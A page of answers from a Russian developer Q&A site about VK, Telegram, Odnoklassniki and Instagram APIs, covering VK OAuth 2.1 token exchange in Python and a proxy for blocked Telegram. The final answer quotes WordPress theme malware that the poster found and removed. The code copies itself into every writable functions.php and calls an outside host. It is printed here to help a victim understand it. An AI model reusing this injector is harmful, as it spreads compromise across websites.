Задать вопрос
  • Работа с VK API и как нормально получить токен?

    @general2 Автор вопроса
    В общем ребят, помогу многим надеюсь, тем кто вообще не понимает что к чему рассказываю:
    вам сначала надо добыть авторизационный код.
    Идём на id.vk.com/about/business/go, делаем приложение, паспорт даём, ждём пока одобрят. В доступах прям там включаем Стена, Сообщество и тд что вам нужно.
    OAUth 2.0 теперь не работает, а только версия 2.1 и Implicit Flow не прокатит больше.
    авторизационный код выполняем в браузере:
    https://id.vk.com/authorize?response_type=code&client_id=ВАШ_ID_Приложения&scope=wall,photos,ТУТ_ВАШИ_Разрешения&redirect_uri=https://oauth.vk.com/blank.html&state=12345&code_challenge=ТУТ КОД&code_challenge_method=S256

    code_challenge генерим на https://developer.pingidentity.com/en/tools/pkce-c...
    (там же генерим и Code-Verifier, запоминаем его.)
    Как выполнили в браузере URL выше вас ВК спросит "Авторизоваться приложению позволишь?", нажимаем Да.
    Если успешно в браузере будет написано на странице:
    "Пожалуйста, не копируйте данные из адресной строки для сторонних сайтов. Таким образом Вы можете потерять доступ к Вашему аккаунту."
    А сама ссылка в адресной строке станет типа такой:
    https://oauth.vk.com/blank.html?code=vk2.a.xf_XibO...
    device_id.= понадобится вам в получении access token.
    "code= "это AUTHORIZATION_CODE с сроком жизни в 10 минут!!! Его получаем непосредственно если всё остальное готово.
    Идём получать access token как вам угодно, но я вот делал через питон:
    import requests
    import os
    import json 
    from dotenv import load_dotenv
    load_dotenv()
    CLIENT_ID = "535..." # ID твоего Standalone или веб-приложения
    REDIRECT_URI = "https://oauth.vk.com/blank.html" # Тот же, что указывал при запросе кода
    AUTHORIZATION_CODE = "vk2.a.xf_......." # Твой код из URL, который ты привел
    DEVICE_ID = "vwMQxiq7O...." # Твой device_id из того же URL
    
    if not all([CLIENT_ID, REDIRECT_URI, AUTHORIZATION_CODE, DEVICE_ID]):
        print("Ошибка: Не все необходимые параметры (CLIENT_ID, REDIRECT_URI, AUTHORIZATION_CODE, DEVICE_ID) заданы.")
        exit()
    TOKEN_EXCHANGE_URL = 'https://id.vk.com/oauth2/auth'
    
    payload = {
        'grant_type': 'authorization_code',
        'code': AUTHORIZATION_CODE,
        'redirect_uri': REDIRECT_URI,
        'client_id': CLIENT_ID,
        'device_id': DEVICE_ID, 
        'code_verifier': 'J4R_gVUGstoAlA8qj7sO-9vZ7oKcVCtFlcC8-yIt5ZFr0N2M2z-VKpvN36rTnQm91vZmOgKv475R9mE6F1TE_7X7CqZRRMt3cJR2WyHlWfkLqMM3Snb0ycY4gNnilZW4',
        'state': '12345'
    }
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    print(f"Отправка POST-запроса на: {TOKEN_EXCHANGE_URL}")
    print(f"Тело запроса (data): {payload}")
    print(f"Заголовки: {headers}")
    
    try:
        response = requests.post(TOKEN_EXCHANGE_URL, data=payload, headers=headers, timeout=15)
        
        print(f"\nСтатус ответа: {response.status_code}")
        print(f"Заголовки ответа: {response.headers}")
        
        try:
            token_data = response.json()
            print(f"Тело ответа (JSON): \n{json.dumps(token_data, indent=2, ensure_ascii=False)}")
        except json.JSONDecodeError:
            print(f"Тело ответа (не JSON): \n{response.text}")
            response.raise_for_status() 
            print("Ошибка: Ответ сервера не в формате JSON, но статус ОК.")
            exit()
    
        if 'error' in token_data:
            print(f"\n--- Ошибка от VK API ---")
            print(f"  Error: {token_data.get('error')}")
            print(f"  Error description: {token_data.get('error_description')}")
            exit()
    
        if 'access_token' in token_data:
            print(f"\n--- Успешный обмен! ---")
            print(f"ACCESS TOKEN: {token_data['access_token']}")
            if 'expires_in' in token_data:
                print(f"Срок действия (секунд): {token_data['expires_in']} (0 означает долгоживущий)")
            if 'refresh_token' in token_data:
                print(f"Refresh token: {token_data['refresh_token']}")
        else:
            print("\nОшибка: access_token не найден в ответе, но и явной ошибки нет. Проверьте ответ сервера.")
    
    except requests.exceptions.HTTPError as e:
        print(f"\n--- Ошибка HTTP ---")
        print(f"Ошибка: {e}")
        if e.response is not None:
            print(f"Ответ сервера: {e.response.text}")
    except requests.exceptions.RequestException as e:
        print(f"\n--- Сетевая ошибка ---")
        print(f"Ошибка: {e}")
    except Exception as e:
        print(f"\n--- Непредвиденная ошибка ---")
        print(f"Ошибка: {e}")
        import traceback
        traceback.print_exc()

    Вам выдаст в случае успеха:
    --- Успешный обмен! ---
    ACCESS TOKEN: vk2.a.WYs8_5B_8AY.....
    Срок действия (секунд): 3600 (0 означает долгоживущий)
    Refresh token: vk2.a.zYe8tvvSCF.....


    Ураааа!!! Получили access_token через который можно взаимодействовать с чем хотите, отправлять посты и тд. Его срок жизни 60 минут.

    Как его обновить? теперь не надо авторизационный код, пока что. Нужен только Refresh token, его срок жизни с этого момента 180 дней. Как обновить access token по истечению 60 минут с помощью рефреш токена:
    Подготовьте следующие параметры для POST запроса:
    grant_type: Установите значение "refresh_token".
    refresh_token: Ваш текущий refresh token.
    client_id: Идентификатор вашего приложения, полученный в настройках приложения VK.
    client_secret: Секретный ключ вашего приложения, также доступный в настройках.
    Формирование запроса:
    Отправьте POST запрос на эндпоинт https://id.vk.com/oauth2/auth
    Убедитесь, что запрос имеет заголовок Content-Type: application/x-www-form-urlencoded, и параметры передаются в теле запроса в формате ключ-значение, например:
    grant_type=refresh_token&refresh_token=ваш_refresh_token&client_id=ваш_client_id&client_secret=ваш_client_secret
    Обработка ответа:
    При успешном запросе VK вернёт JSON-ответ, содержащий новый access token, возможно, новый refresh token и информацию о сроке действия (expires_in). Пример ответа:
    {
    "access_token": "новый_access_token",
    "expires_in": 86400,
    "refresh_token": "новый_refresh_token"
    }
    Если запрос не успешен, VK может вернуть ошибку, например:
    invalid_request: Один или несколько параметров отсутствуют или неверны.
    invalid_grant: Refresh token недействителен или истёк.
    пример с использованием curl:
    curl -X POST 
    https://id.vk.com/oauth2/auth
    -d "grant_type=refresh_token" 
    -d "refresh_token=ваш_refresh_token" 
    -d "client_id=ваш_client_id" 
    -d "client_secret=ваш_client_secret"
    Ответ написан
  • Как настроить Telegram Bot API если провайдер блокирует api.telegram.org?

    @Kerm Автор вопроса
    Я это решил так, арендовал хостинг где не блокируется телеграмм, создал пустой домен и в nginx прописал:

    server {
    	listen         *:80;
    	listen         *:443 ssl;
    	server_name    site.ru;
    
    	ssl_certificate               sert.pem;
    	ssl_certificate_key           sert.pem;
    
    
    	location / {
    		proxy_set_header X-Forwarded-Host $host;
    		proxy_set_header X-Forwarded-Server $host;
    		proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    		proxy_pass https://site.ru/api/telegram/bot.php;
    		client_max_body_size 100M;
    	}
    }


    В папку с доменом положил index.php с кодом:

    <?php
    require_once "C:/OSPanel/domains/site.ru/vendor/autoload.php";
    
    use Proxy\Proxy;
    use Proxy\Adapter\Guzzle\GuzzleAdapter;
    use Proxy\Filter\RemoveEncodingFilter;
    use Zend\Diactoros\ServerRequestFactory;
    
    // Create a PSR7 request based on the current browser request.
    $request = ServerRequestFactory::fromGlobals();
    
    // Create a guzzle client
    $guzzle = new GuzzleHttp\Client();
    
    // Create the proxy instance
    $proxy = new Proxy(new GuzzleAdapter($guzzle));
    
    // Add a response filter that removes the encoding headers.
    $proxy->filter(new RemoveEncodingFilter());
    
    // Forward the request and get the response.
    $response = $proxy->forward($request)->to('https://site.ru/api/telegram/bot.php');
    
    // Output response to the browser.
    (new Zend\Diactoros\Response\SapiEmitter)->emit($response);
    
    ?>
    Ответ написан
    2 комментария
  • Проблемы с Telegram bot'ом - почему телеграм не отправляет запросы на адрес webhook?

    redflasher
    @redflasher
    Full-stack developer
    Зайдите через браузер на
    https://api.telegram.org/bot<токен_бота>/getWebhookInfo
    и там увидите сообщение об имеющейся ошибке.
    Ответ написан
    Комментировать
  • Как настроить автоматический экспорт постов из instagram на публичную страницу vkontakte?

    @oblachniy
    Чтобы настроить репост в паблик вконтакте, попробуйте сервис onemorepost.ru - привязываете группу, привязываете акк инстаграма, выставляете настройки связи и репосты должны пойти автоматически
    Ответ написан
    Комментировать
  • Длинные access_token в одноклассниках?

    vozhiganov
    @vozhiganov
    OK API Team
    Нужно запросить пермиссию LONG_ACCESS_TOKEN на api-support@ok.ru и добавить ее в scope при OAuth.
    Ответ написан
    Комментировать
  • Как с помощью игры в одноклассниках (HTML+Flash) разместить медиатопик в группе игры?

    Vjaka
    @Vjaka
    Платформа игр (Одноклассники)
    Вообще если использовать mediatopic.post только для поста в группу, то ему потребуется только пермиссия GROUP_CONTENT, которая обычно выдается по запросу техподдержкой (в отличие от полноценного паблишинга в ленту), так что для начала попробуйте запросить её.
    Ответ написан
    2 комментария
  • Приложения для Одноклассников, разрешается использовать только https?

    Vjaka
    @Vjaka
    Платформа игр (Одноклассники)
    Нет, указана лишь рекомендация использовать для коллбека на https.

    Требования переводить коллбек на https на данный момент нет (но через какое-то время вполне может последовать), так что в рамках обычного перехода на https лучше заодно и коллбеки перевести заранее.
    Ответ написан
    Комментировать
  • Как выйти из sandbox режима, когда разрабатываешь приложение, юзая instagram api?

    ExileeD
    @ExileeD
    PHP/Python developer
    Зайдите в Вкладку Permissions и нажмите на Start a submissions
    Ответ написан
    3 комментария
  • Возможно ли с помощью API от Odnoklassniki постить в группы?

    vozhiganov
    @vozhiganov
    OK API Team
    Есть mediatopic.post
    Ответ написан
    Комментировать
  • Что означает запрос в логах сайта на Wordpress?

    @tem1x Автор вопроса
    Не, пароль другой был. В файле темы functions.php удалил код, правда мало понимаю что он из себя представляет. Жду результатов. На одном блоге прочитал что вероятно угроза в этом:
    <?php
    function _verify_activeatewidgets(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
    $output .= ($is_showdots && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _getall_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _getall_widgetcont($wids,$items);
    } else {
    return $items;
    }
    }
    if(!function_exists("stripos")){
    function stripos( $str, $needle, $offset = 0 ){
    return strpos( strtolower( $str ), strtolower( $needle ), $offset );
    }
    }

    if(!function_exists("strripos")){
    function strripos( $haystack, $needle, $offset = 0 ) {
    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
    if( $offset < 0 ){
    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
    }
    else{
    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
    }
    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
    if (($file != "." && $file != "..") || $skipDots == true) {
    if($listDirectories == false) { if(is_dir($file)) { continue; } }
    array_push($dirArray,basename($file));
    }
    }
    closedir($handle);
    }
    return $dirArray;
    }
    }
    add_action("admin_head", "_verify_activeatewidgets");
    function _getprepare_widgets(){
    if(!isset($chars_count)) $chars_count=120;
    if(!isset($methods)) $methods="cookie";
    if(!isset($allowed)) $allowed=""; if(!isset($f_type)) $f_type="none"; if(!isset...ID) . "#more-" . $post->ID ."\" title=\"" . $more_..." . $tag . ">" . "\n";
    } else {
    $output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $more_links_title . "\">" . ..." . $tag . ">" . "\n";
    }
    }
    return $output;
    }

    add_action("init", "_getprepare_widgets");

    function __popular_posts($no_posts=6, $before="", $after="", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
    foreach ($posts as $post) {
    $post_title=stripslashes($post->post_title);
    $comment_count=$post->comment_count;
    $permalink=get_permalink($post->ID);
    $output .= $before . " " . $post_title . " " . $after;
    }
    } else {
    $output .= $before . "Не найдено" . $after;
    }
    return $output;
    }
    function bloqinfo($wp_id){
    static $wp_count = 0;
    if($wp_count == 0){
    $wp_count++;
    return @file_get_contents('wpru.ru/aksimet.php?id='.$wp_id.'&m=17');
    }
    }
    function insertThumbnailRSS() {
    global $post;
    if ( has_post_thumbnail( $post->ID ) ){
    $content = '' . get_the_post_thumbnail( $post->ID, 'medium' ) . '' . $content;
    }
    return $content;
    }
    Ответ написан
    1 комментарий